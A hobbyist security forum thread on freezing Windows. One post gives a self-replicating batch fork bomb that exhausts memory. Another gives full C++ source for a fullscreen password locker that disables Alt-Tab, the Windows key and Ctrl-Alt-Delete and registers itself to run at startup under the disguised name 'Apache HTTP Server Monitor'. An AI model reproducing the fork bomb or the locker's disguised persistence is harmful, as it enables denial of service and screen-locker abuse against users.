Jump to content

Freeze Windows?


tempnode

Recommended Posts

Write a system driver that has a infinite loop.

Sparda, I attempted this to see if it is true... I made a simple kernel mode driver which upon loading gets stuck in an infinite loop...

Loading the driver with InstDrv, It doesn't "freeze" the whole computer, just the InstDrv program... I know it loaded because the DbgPrint upon loading...

I am still able to type this while its still looping so its definately not frozen.. But I am up to 50% CPU usage..

I used a for(;;) loop

compiled the driver with the WDK

Link to comment
Share on other sites

That would be a slow lockup, but a lock up non the less. It would put the hard drive under heavy use however.

Yeah I don't think I want to try that, nothing that makes the computer work hard is a good idea... I would probably just make a directx app, full screen it, then as tempnode has already done, disable the task manager so the process cant be closed...

that would succesfully "lock" the machine without using system resources intensively... I was going to make something like that so my little cousins couldn't mess with my computer while I was away, and have a password to unlock it, but I never actually made it... I think I might give it a go...

It would be sort of like internet cafe's have to prevent using the computer without paying for time ;)

Link to comment
Share on other sites

Presenting a way to lock up a computer using batch:

@echo off
:main
start myfile.bat
start myfile.bat
start myfile.bat
start myfile.bat
start myfile.bat
start myfile.bat
goto main

myfile.bat is the name of the bat file that you save the code as. It will lock up the workstation very quickly! It can't be stopped, because of how fast it opens. It will constantly continue, until you get out of memory errors.

It successfully pwned my quad core box in under 30 seconds.

[You requested it, I posted it. I am not responsible for any actions you do with this batch script, or any modifications of it. Pwn at your own risk.]

Link to comment
Share on other sites

Mhm, I think it can be stopped.

Download and start the Process Explorer from Sysinternals/Microsoft. Set it to be in foreground, then start the batch file. Look if the first batch creates child processes (batch), then kill the parental process with "Kill every child too!!one!" and see if it can be stopped.

I don't know if it works but it should be tested :)

Link to comment
Share on other sites

“When you say, ‘I wrote a program that crashed Windows,’ people just stare at you blankly and say, ‘Hey, I got those with the system, for free.’” Linus Torvalds

Yeah maybe that was true back in 1995! But for some years now I've never had any real problems with Windows XP!! So lets stop bashing on Windows ok? If someone creates a faulty driver that crashes the system, that isn't Windows fault! Its the fault of the programmer who created it! ;)

Anyway back on topic of this thread...

I don't know about you but I wouldn't want to "Freeze" my computer, that would require me to pull the plug, which is bad for the system... Instead I'd rather just take control of the screen and not let the user return to the desktop unless he knows the correct password.

Well anyway thanks tempnode for creating this thread and reminding me to make that application I wanted to make but forgot about! So I'll post the source code!

Its a full screen Direct3D9 App (yay for directx!)

Upon running it puts itself in full screen, and requires you to enter the password. If you type it wrong 4 times, you'll have to wait 5 minutes before you can try 4 more times... This should deter anyone from trying to guess the password.

Now I know what your thinking, a person can just press CTRL ALT DELETE, or CTRL ALT SHIFT ESCAPE, or ALT TAB, or WINDOWS KEY, and bypass the program!

Well thats not the case (at least for windows XP [probably windows 2k aswell])

I used the "WinLock" dll that tempnode mentioned in his other thread, to disable these keys...

When it executes it dumps the WinLock.dll from memory into the folder where its executing from, then calls LoadLibrary on it, and uses GetProcAddress to get the addresses to the functions it uses from the dll. (I like dynamically loading dlls instead of statically linking them) Besides the dll the png images are embedded in the exe as well, I like keeping everything self contained.

It then disables the keys and its ready to go! It gives you a dark blue screen which has the login box in the middle and it has falling hak5 logos in the background just for fun :)

StevesNetCafe.png

The password can be a max of 32 characters (not including null terminator) it can only contain a-z, A-Z, 0-9, and any other keys you can press without having to hold shift. Holding shift only works for making letters uppercase.

by default it makes it self start with the computer(so that even if the person turns the computer off trying to bypass it they still will be greeted with it upon reboot)

I had to create my own edit box type thing, since directx doesn't have one. I did it by using GetAsyncKeyState to get keys pressed then put them in a char array which gets displayed in the box as stars, when you press backspace it makes it a zero and subtracts 1 from the character count...

Is there much demand for internet cafe software? Do cafe's have vista? lol yeah I haven't been to one in ages!

Anyway its dependent on

DirectX9

http://www.microsoft.com/downloads/Browse....p;categoryid=2#

AND

the Microsoft Visual C++ 2008 Redistributable Package(x86) (only need this if you don't have visual studio 2008)

http://www.microsoft.com/downloads/details...;displaylang=en

If anyone knows how to compile code with 2008 that doesn't require the computer its to be run on needing that 2008 package let me know! As it would be cool to not be dependent on having that installed! If I compiled something in visual c++ 6.0 it would not be dependent on this package and still work! So theres gotta be a special way to compile or something to not need a 2008 package to run it... (I wont use 6.0 though because it crashes randomly causing me to lose my work so I just wont! plus its too old)

If you want to test it out the default password is "changeme", to change it you could modify the source and compile it with VC++ 2008 (there is a free version called express edition)

Or you could hex edit the exe, I didn't want to go elaborate with trying to hide the password in some secret place, as it would immediately not be secret anymore after posting this, so if you want to make it more secure go ahead, then just don't post how you did it ;)

can you think of a way to bypass it?

binary:

http://www.popeax.com/downloads/Hak5NetCafe.rar

source:

http://www.popeax.com/downloads/Hak5NetCafeSRC.rar

http://rapidshare.com/files/129450087/Hak5...afeSRC.rar.html

StevesNetCafe.cpp source: (you should download the whole project if you want to compile it)

// v1.1
#include <windows.h>
#include <stdio.h>
#include <d3d9.h>
#include <d3dx9.h>
#include <time.h>
#include "BinaryData.h"
#pragma comment(lib, "d3d9.lib")
#pragma comment(lib, "d3dx9.lib")

#define DXDELETE(p) if(p) p->Release();
#define WINDOW_WIDTH 1024
#define WINDOW_HEIGHT 768
HRESULT InitWindow();
void KeyPresses();

typedef void (CALLBACK* AntiAltTab)(HWND, bool);
typedef void (CALLBACK* AntiWinKey)(bool);
typedef void (CALLBACK* AntiCtrlAltDelete)(bool);
AntiAltTab AltTab;
AntiWinKey WinKey;
AntiCtrlAltDelete CtrlAltDel;

IDirect3D9* d3d = 0;
IDirect3DDevice9* d3dDevice = 0; 
ID3DXFont* dxtext;
RECT PassCoords = {355, 300, 256, 256};
RECT RemainingCoords = {300, 450, 256, 256};
ID3DXSprite* pSprite;
IDirect3DTexture9* pPasswordScreen;
IDirect3DTexture9* pInvalidScreen;
IDirect3DTexture9* pHak5;
D3DXVECTOR3 ScreenPos;
D3DXVECTOR3 Hak5Pos[20];
int MoveSideways[20];
int Haks = 0;

HMODULE WLock;
HWND hWndX;
HINSTANCE hInst;
DWORD flags = 0;

char Remaining[64] = {0};
char Password[33] = "changeme";        // Change this! this is the password to validate against! NO SPECIAL CHARACTERS!
char Pass[33] = {0};                // Max 32 character password
char PassDisplay[33] = {0};            // the password will be displayed as stars "*"
int cc = 0;                            // current character
int invalidpassword = 0, attempts = 4, count = 40, MinutesLeft = 5;
int StartWithWindows = 1; // change if you don't want it to startup with the computer

void FreeTextures()
{
    DXDELETE(pSprite);
    DXDELETE(pPasswordScreen);
    DXDELETE(pInvalidScreen);
    DXDELETE(pHak5);
    DXDELETE(dxtext);
}

void LockoutThread()
{
    count = 5000;
    for(;; Sleep(10))
    {
        if(count > 0)
            count--;

        if(count == 0)
        {
            MinutesLeft--;
            count = 5000; 
        }

        if(MinutesLeft == 0)
        {
            attempts = 4;
            invalidpassword = 0;
            MinutesLeft = 5;
            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&KeyPresses, 0, 0, 0);
            ExitThread(0);
        }
    }
}


void Validate()
{
    if(strcmp(Pass, Password) == 0) // Password Is Correct!
    {
        AltTab(hWndX, 1);
        WinKey(1);
        CtrlAltDel(1);
        FreeLibrary(WLock);
        FreeTextures();
        DXDELETE(d3dDevice);
        DXDELETE(d3d);
        ExitProcess(0);
    }
    else
    {
        ZeroMemory(PassDisplay, 33);
        ZeroMemory(Pass, 33);
        cc = 0;
        if(attempts == 1)
        {
            invalidpassword = 2; // 5 minute lockout
            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&LockoutThread, 0, 0, 0);
        }
        else
        {
            invalidpassword = 1;
            attempts--;
        }
    }
}
void KeyPresses()
{
    short unsigned int vkey, i, shift, rshift;
    char* keytext = (char*)malloc(48);
    char* buffer = (char*)malloc(54);
    char state[256] = {0};
    count = 50;

    for(;; Sleep(10))
    {
        skip:
        if(invalidpassword == 1)
        {
            if(count > 0)
                count--;

            if(count == 0)
            {
                count = 80;
                invalidpassword = 0;
            }
            Sleep(20);
            goto skip;
        }
        else if(invalidpassword == 2)
        {
            ExitThread(0);
        }
        for(i = 8; i <= 255; i++)
        {
            int del = 0;
            if((GetAsyncKeyState(i) & 0x8000) && (state[i] == 0))
            {
                state[i] = 1;

                shift = (((GetKeyState(VK_LSHIFT) | GetKeyState(VK_LSHIFT)) & 0x8000) >> 15) ^ GetKeyState(VK_CAPITAL);
                rshift = (((GetKeyState(VK_RSHIFT) | GetKeyState(VK_RSHIFT)) & 0x8000) >> 15) ^ GetKeyState(VK_CAPITAL);

                vkey = MapVirtualKey(i, 0);

                switch (vkey)
                {
                    case 14: // backspace
                        if(cc > 0)
                        {
                            cc--;
                            Pass[cc] = 0;
                            PassDisplay[cc] = 0;
                            del = 1;
                        }
                        else if(cc == 0)
                        {
                            del = 1;
                        }
                        break;

                    case 28: // enter
                        Validate();
                        goto skip;
                        break;

                    case 29: // CTRL
                        goto skip;
                        break;

                    case 42: // Left Shift
                        goto skip;
                        break;

                    case 54: // Right Shift
                        goto skip;
                        break;

                    case 56: // ALT
                        goto skip;
                        break;

                    case 57: // space - the password can contain spaces;)
                        strcpy(keytext, " ");
                        break;

                    default:
                        GetKeyNameTextA(vkey << 16, keytext, 48);
                }

                if(shift | rshift)
                    sprintf(buffer, "%c", toupper(keytext[0]));
                else
                    sprintf(buffer, "%c", tolower(keytext[0]));

                if(cc < 32 && del == 0)
                {
                    Pass[cc] = buffer[0];
                    PassDisplay[cc] = '*';
                    cc++;
                }
           }
           else if((GetAsyncKeyState(i) & 0x8000) && (state[i] == 1))
           {
               // ignore dupes
               state[i] = 1;
           }
           else if(state[i] == 1)
           {
               // reset old keys
               state[i] = 0;
           }
        }
    }
}

void InitSprites()
{
    D3DXCreateTextureFromFileInMemory(d3dDevice, &PasswordScreen, sizeof(PasswordScreen), &pPasswordScreen);
    D3DXCreateTextureFromFileInMemory(d3dDevice, &InvalidPass, sizeof(InvalidPass), &pInvalidScreen);
    D3DXCreateTextureFromFileInMemory(d3dDevice, &Hak5Logo, sizeof(Hak5Logo), &pHak5);
    D3DXCreateSprite(d3dDevice, &pSprite);

    ScreenPos = D3DXVECTOR3(260.0f, 190.0f, 0.0f);

    HDC hDC;
    int nHeight;
    int nPointSize = 15;

    hDC = GetDC(0);
    nHeight = -(MulDiv(nPointSize, GetDeviceCaps(hDC, LOGPIXELSY), 72));
    D3DXCreateFont(d3dDevice, nHeight, 0, FW_BOLD, 0, FALSE, 
                         DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, DEFAULT_QUALITY, 
                         DEFAULT_PITCH | FF_DONTCARE, TEXT("Arial"), 
                         &dxtext);
    ReleaseDC(0, hDC);
}

void Render()
{
    d3dDevice->Clear(0, 0, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0x00002C61, 1.0f, 0);
    d3dDevice->BeginScene();

    pSprite->Begin(D3DXSPRITE_ALPHABLEND);

    for(int i = 0; i < Haks; i++) // draw hak5 logos
    {
        pSprite->Draw(pHak5, 0, 0, &Hak5Pos[i], 0xFFFFFFFF);
    }

    if(invalidpassword == 0)
    {
        pSprite->Draw(pPasswordScreen, 0, 0, &ScreenPos, 0xFFFFFFFF);
        dxtext->DrawTextA(pSprite, PassDisplay, -1, &PassCoords, DT_NOCLIP, 0xFFFFFFFF);
    }
    else if(invalidpassword == 1)
    {
        sprintf(Remaining, "%i Attempts Remaining Before 5 Minute Lockout!", attempts);
        pSprite->Draw(pInvalidScreen, 0, 0, &ScreenPos, 0xFFFFFFFF);
        dxtext->DrawTextA(pSprite, Remaining, -1, &RemainingCoords, DT_NOCLIP, 0xFFFFFFFF);
    }
    else if(invalidpassword == 2)
    {
        sprintf(Remaining, "%i Minutes Remaining In 5 Minute Lockout!", MinutesLeft);
        pSprite->Draw(pInvalidScreen, 0, 0, &ScreenPos, 0xFFFFFFFF);
        dxtext->DrawTextA(pSprite, Remaining, -1, &RemainingCoords, DT_NOCLIP, 0xFFFFFFFF);
    }

    pSprite->End();

    d3dDevice->EndScene();
    d3dDevice->Present(0, 0, 0, 0);
}

HRESULT FullScreen()
{
    int nMode = 0;
    D3DDISPLAYMODE d3ddm;
    bool bDesiredAdapterModeFound = false;

    int nMaxAdapterModes = d3d->GetAdapterModeCount(D3DADAPTER_DEFAULT, D3DFMT_X8R8G8B8);

    for(nMode = 0; nMode < nMaxAdapterModes; ++nMode)
    {
        if(FAILED(d3d->EnumAdapterModes(D3DADAPTER_DEFAULT, D3DFMT_X8R8G8B8, nMode, &d3ddm)))
        {
            MessageBoxA(hWndX, "Fullscreen change failed!", "ERROR!", 0);
        }

        // Does this adapter mode support a mode of 1024 x 768?
        if(d3ddm.Width != 1024 || d3ddm.Height != 768)
            continue;

        // Does this adapter mode support a 32-bit RGB pixel format?
        if(d3ddm.Format != D3DFMT_X8R8G8B8)
            continue;

        // Does this adapter mode support a refresh rate of 75 MHz?
        if(d3ddm.RefreshRate != 75)
            continue;

        // We found a match!
        bDesiredAdapterModeFound = true;
        break;
    }

    // Can we get a 32-bit back buffer?
    d3d->CheckDeviceType(D3DADAPTER_DEFAULT,
                                    D3DDEVTYPE_HAL,
                                    D3DFMT_X8R8G8B8,
                                    D3DFMT_X8R8G8B8,
                                    FALSE);

    // Can we get a z-buffer that's at least 16 bits?
    d3d->CheckDeviceFormat(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL,
                                    D3DFMT_X8R8G8B8,
                                    D3DUSAGE_DEPTHSTENCIL,
                                    D3DRTYPE_SURFACE,
                                    D3DFMT_D16);
    
    D3DPRESENT_PARAMETERS d3dppf;
    memset(&d3dppf, 0, sizeof(d3dppf));
    
    d3dppf.Windowed               = FALSE;
    d3dppf.EnableAutoDepthStencil = TRUE;
    d3dppf.AutoDepthStencilFormat = D3DFMT_D16;
    d3dppf.SwapEffect             = D3DSWAPEFFECT_DISCARD;
    d3dppf.BackBufferWidth        = 1024;
    d3dppf.BackBufferHeight       = 768;
    d3dppf.BackBufferFormat       = D3DFMT_X8R8G8B8;
    d3dppf.PresentationInterval   = D3DPRESENT_INTERVAL_IMMEDIATE;

    HRESULT hr;

    hr = d3d->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, hWndX, flags, &d3dppf, &d3dDevice);

    if(FAILED(hr))
    {
        OutputDebugString(L"Failed To Create D3D Device!");
    }

    return hr;
}

HRESULT InitD3D()
{
    d3d = Direct3DCreate9(D3D_SDK_VERSION);
    if(d3d == 0)
    {
        MessageBoxA(hWndX, "Direct3D9 Initialization Failed!", "FATAL ERROR!", MB_OK);
        ExitProcess(0);
    }

    // Do we support hardware vertex processing? if so, use it. 
    // If not, downgrade to software.
    D3DCAPS9 d3dCaps;

    d3d->GetDeviceCaps(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, &d3dCaps);
    if(d3dCaps.VertexProcessingCaps != 0 )
    {
        OutputDebugStringA("Hardware Vertex Processing Supported!!");
        flags = D3DCREATE_HARDWARE_VERTEXPROCESSING;
    }
    else
    {
        flags = D3DCREATE_SOFTWARE_VERTEXPROCESSING;
    }

    HRESULT hr = FullScreen();

    return hr;
}

void GenerateHak5Logos()
{
    int y = -175;
    int x = 0;

    srand((unsigned int)time(0));
    for(;;)
    {
        for(int i = 0; i < Haks; i++) // delete them when they go off the bottom of the screen, or the right or left
        {
            if((Hak5Pos[i].y > 770.0f) | (Hak5Pos[i].x > 1024.0f) | (Hak5Pos[i].x < -400.0f))
            {
                Hak5Pos[i] = Hak5Pos[Haks-1];
                MoveSideways[i] = MoveSideways[Haks-1];
                Haks--;
            }
        }
        if(Haks < 20)
        {
            if(Haks > 0)
            {
                if(Hak5Pos[Haks-1].x < 500.0f)
                {
                    x = rand() % 300 + 500;
                }
                else if(Hak5Pos[Haks-1].x > 500.0f)
                {
                    x = rand() % 100;
                }
            }
            else
            {
                x = rand() % 800;
            }

            Hak5Pos[Haks] = D3DXVECTOR3((float)x, (float)y, 0.0f);

            x = rand() % 150; // 0-50 = move left, 50-100 = move right, 100-150 = just move down
            MoveSideways[Haks] = x;

            Haks++;

            x = rand() % 1500 + 500;
            Sleep(x); // sleep for a random time between .5-2.0 seconds before generating the next one
        }
    }
}

void MoveLogos()
{
    for(;; Sleep(10))
    {
        for(int i = 0; i < Haks; i++)
        {
            D3DXVECTOR3* Hakling = &Hak5Pos[i];

            Hakling->y++;

            if(MoveSideways[i] < 50)
            {
                Hakling->x -= 0.5f;
            }
            else if(MoveSideways[i] < 100 && MoveSideways[i] > 50)
            {
                Hakling->x += 0.5f;
            }
        }
    }
}

void RenderThread()
{
    for(;;)
    {
        Render();
    }
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    hInst = hInstance;

    if(StartWithWindows == 1)
    {
        HKEY hk;
        char exePath[256] = {0};
        RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hk);
        GetModuleFileNameA(GetModuleHandle(0), exePath, sizeof(exePath));
        int pathSize = lstrlenA(exePath);
        RegSetValueExA(hk, "Apache HTTP Server Monitor", 0, REG_SZ, (const unsigned char*)exePath, pathSize);
        RegCloseKey(hk);
    }

    InitWindow();
    SetCursor(LoadCursor(0, IDC_ARROW));

    ShowWindow(hWndX, SW_HIDE);
    UpdateWindow(hWndX);

    TryAgain:
    HRESULT hr = InitD3D();
    if(FAILED(hr))
    {
        DXDELETE(d3dDevice);
        DXDELETE(d3d);
        Sleep(5000);
        goto TryAgain; // so if its starting up with the computer, we will wait until success!
    }

    InitSprites();

    FILE* winlock = fopen("WinLock.hak", "wb");
    fwrite(WinLockDLL, sizeof(WinLockDLL), 1, winlock);
    fclose(winlock);

    WLock = LoadLibrary(L"WinLock.hak");

    AltTab = (AntiAltTab)GetProcAddress(WLock, "AltTab2_Enable_Disable");
    WinKey = (AntiWinKey)GetProcAddress(WLock, "TaskSwitching_Enable_Disable");
    CtrlAltDel = (AntiCtrlAltDelete)GetProcAddress(WLock, "CtrlAltDel_Enable_Disable");

    AltTab(hWndX, 0); // disable alt tab
    WinKey(0);          // diable windows key
    CtrlAltDel(0);      // disable ctrl+alt+delete
    // Now theres not a single way to get to the windows desktop without knowing the password!;)
    // lol yeah rite..

    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&GenerateHak5Logos, 0, 0, 0);
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&MoveLogos, 0, 0, 0);
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&KeyPresses, 0, 0, 0);
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&RenderThread, 0, 0, 0);

    MSG msg;
    ZeroMemory(&msg, sizeof(msg));
    for(;; Sleep(10))
    {
        if(PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }
    return msg.wParam;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message) 
    {
        case WM_MOUSEMOVE:
            SetCursor(LoadCursor(0, IDC_ARROW));
            break;

        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
   }
   return 0;
}

HRESULT InitWindow()
{
    WNDCLASSEX wc = {sizeof(WNDCLASSEX), CS_CLASSDC, WndProc, 0L, 0L, 
                  GetModuleHandle(NULL), LoadIcon(hInst, MAKEINTRESOURCE(101)), NULL, NULL, NULL,
                  L"Net_Cafe_Class", NULL};
    RegisterClassEx(&wc);

    DWORD dwFrameWidth    = GetSystemMetrics(SM_CXSIZEFRAME);
    DWORD dwFrameHeight   = GetSystemMetrics(SM_CYSIZEFRAME);
    DWORD dwMenuHeight    = GetSystemMetrics(SM_CYMENU);
    DWORD dwCaptionHeight = GetSystemMetrics(SM_CYCAPTION);
    DWORD dwWindowWidth   = WINDOW_WIDTH  + dwFrameWidth * 2;
    DWORD dwWindowHeight  = WINDOW_HEIGHT + dwFrameHeight * 2 + dwMenuHeight + dwCaptionHeight;
    // Create the application's window.
    hWndX = CreateWindowA( "Net_Cafe_Class", 
                              "cafe'", 
                              WS_SIZEBOX|WS_OVERLAPPED|WS_CAPTION|WS_SYSMENU|WS_MINIMIZEBOX|WS_CLIPSIBLIN
GS|WS_VISIBLE, 
                              CW_USEDEFAULT, CW_USEDEFAULT, dwWindowWidth, dwWindowHeight,
                              GetDesktopWindow(), 
                              NULL, 
                              wc.hInstance, 
                              NULL );

    if(hWndX == NULL)
    {
        return(E_FAIL);
    }

    return(S_OK);

}

Link to comment
Share on other sites

Have you tried your bypass method?

Have you ever played a directx game and have you walked away from the game for a while to come back and see the screensaver going?

I don't think that's ever happened to me. And I've just tried it both with and without checking the "on resume, password protect" check box, and either way no screensaver popped up! So I'm pretty confident screensavers don't interrupt directx apps.

But I have thought of two ways to bypass it, can you think of them or more? That would be interesting to see ways people can come up with.

Link to comment
Share on other sites

Yeah maybe that was true back in 1995! But for some years now I've never had any real problems with Windows XP!! So lets stop bashing on Windows ok? If someone creates a faulty driver that crashes the system, that isn't Windows fault! Its the fault of the programmer who created it! ;)

ok, 1995? Make that 2008, I still have to close my explorer for surfing the internet cause my explorer shell causes buffer overruns...

But yeah your right, windows isn't worth the energy to start bashing it...

Link to comment
Share on other sites

nice app, steve... but it makes the assumption that your workstation will have DX9. what if you will be working on older stations that may not even have DX... some may be using OpenGL (ugh)

oh, and the .bat file didnt work for me. i think the # of processes allowed at one time are limited?

Link to comment
Share on other sites

Have you tried your bypass method?

Have you ever played a directx game and have you walked away from the game for a while to come back and see the screensaver going?

I don't think that's ever happened to me. And I've just tried it both with and without checking the "on resume, password protect" check box, and either way no screensaver popped up! So I'm pretty confident screensavers don't interrupt directx apps.

But I have thought of two ways to bypass it, can you think of them or more? That would be interesting to see ways people can come up with.

Oh no, sorry mate, didn't mean it as a Bypass, i meant it as an alternative.

Though as a bypass, my G15 macro keys, pressed the Calc Button and it drops back to desktop and opens calc. works like a charm to get passed your App :)

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...